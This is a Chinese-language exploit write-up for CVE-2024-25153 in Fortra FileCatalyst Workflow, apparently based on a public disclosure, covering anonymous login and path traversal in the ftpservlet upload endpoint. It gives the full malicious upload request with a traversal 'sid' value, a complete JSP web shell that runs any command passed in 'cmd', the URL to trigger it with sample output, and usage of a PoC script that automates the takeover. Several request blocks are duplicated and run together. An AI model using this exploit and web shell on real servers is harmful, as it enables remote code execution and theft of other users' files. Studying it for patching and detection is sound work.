CVE-2024-25153-Fortra FileCatalyst RCE漏洞
漏洞介绍
文件上传分析-FtpServlet
在 FileCatalyst 工作流程中，文件上传过程涉及对以下 URL 的 POST 请求。
- https://{url}/workflow/servlet/ftpservlet
https://{url}/workflow/servlet/ftpservletPOST /workflow/servlet/ftpservlet?wf=octetStream&r=&h=X&u=X&p=&prt=21&d=/&ff=X&b=X&fs=X&dlm=X&c=PUT HTTP/1.1Host: {url}Content-Type: application/octet-streamCookie: JSESSIONID={SESSION}X-File-Type: image/pngX-File-Name: upload.png{file contents}
POST /workflow/servlet/ftpservlet?wf=octetStream&r=&h=X&u=X&p=&prt=21&d=/&ff=X&b=X&fs=X&dlm=X&c=PUT HTTP/1.1POST /workflow/servlet/ftpservlet?wf=octetStream&r=&h=X&u=X&p=&prt=21&d=/&ff=X&b=X&fs=X&dlm=X&c=PUT HTTP/1.1Host: {url}Content-Type: application/octet-streamCookie: JSESSIONID={SESSION}X-File-Type: image/pngX-File-Name: upload.png{file contents}
Host: {url}
Content-Type: application/octet-stream
Cookie: JSESSIONID={SESSION}
X-File-Type: image/png
X-File-Name: upload.png
{file contents}
POST /workflow/servlet/ftpservlet?wf=octetStream&r=&h=X&u=X&p=&prt=21&d=/&ff=X&b=X&fs=X&dlm=X&c=PUT HTTP/1.1Host: {url}Content-Type: application/octet-streamCookie: JSESSIONID={SESSION}X-File-Type: image/pngX-File-Name: upload.png{file contents}
尽管此请求需要会话令牌，但默认情况下，FileCatalyst Workflow允许公共用户匿名登录。此凭据或有效凭据是利用 CVE-2024-25153 的要求。
上传命令执行脚本
对于读到这里的任何人来说，不要尝试将文件上传到顶级目录，这一点非常重要，因为这可能会删除整个应用程序。
POST /workflow/servlet/ftpservlet?wf=octetStream&r=&h=X&u=X&p=&prt=21&d=/&ff=X&b=X&fs=X&dlm=X&c=PUT&sid=nettitude/../../nettitude/ HTTP/1.1
Host: {url}
Content-Type: application/octet-stream
Cookie: JSESSIONID={SESSION}
X-File-Type: a
X-File-Name: shell.jsp
<%@ page import="java.util.*,java.io.*"%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
- https://{url}/workflow/nettitude/shell.jsp
https://{url}/workflow/nettitude/shell.jsp远程代码执行
- https://{url}/workflow/nettitude/shell.jsp?cmd=whoami
https://{url}/workflow/nettitude/shell.jsp?cmd=whoami- nt authoritylocal service
nt authoritylocal service以上表明可以实现操作系统级别的访问，攻击者可以读取或修改系统上的数据，可能包括其他用户上传的文件。这带来了严重的机密性、完整性和可用性风险。
同样，在FileCatalyst Direct中，也观察到同样存在漏洞的 FtpServlet：
- https://www.goanywhere.com/products/filecatalyst/filecatalyst-direct
https://www.goanywhere.com/products/filecatalyst/filecatalyst-direct- https://{url}:12480/servlet/ftpservlet
https://{url}:12480/servlet/ftpservlet概念验证漏洞利用
- https://github.com/nettitude/CVE-2024-25153
https://github.com/nettitude/CVE-2024-25153要使用它，语法如下：
- python CVE-2024-25153.py --host <hostname> --port <port> --url <url> --cmd <command>
./CVE-2024-25153.py --host <hostname> --port <port> --url <url> --cmd <command>自动检测是否启用匿名登录
获取有效的会话令牌
上传具有伪随机生成的文件名的命令执行脚本
执行操作系统命令
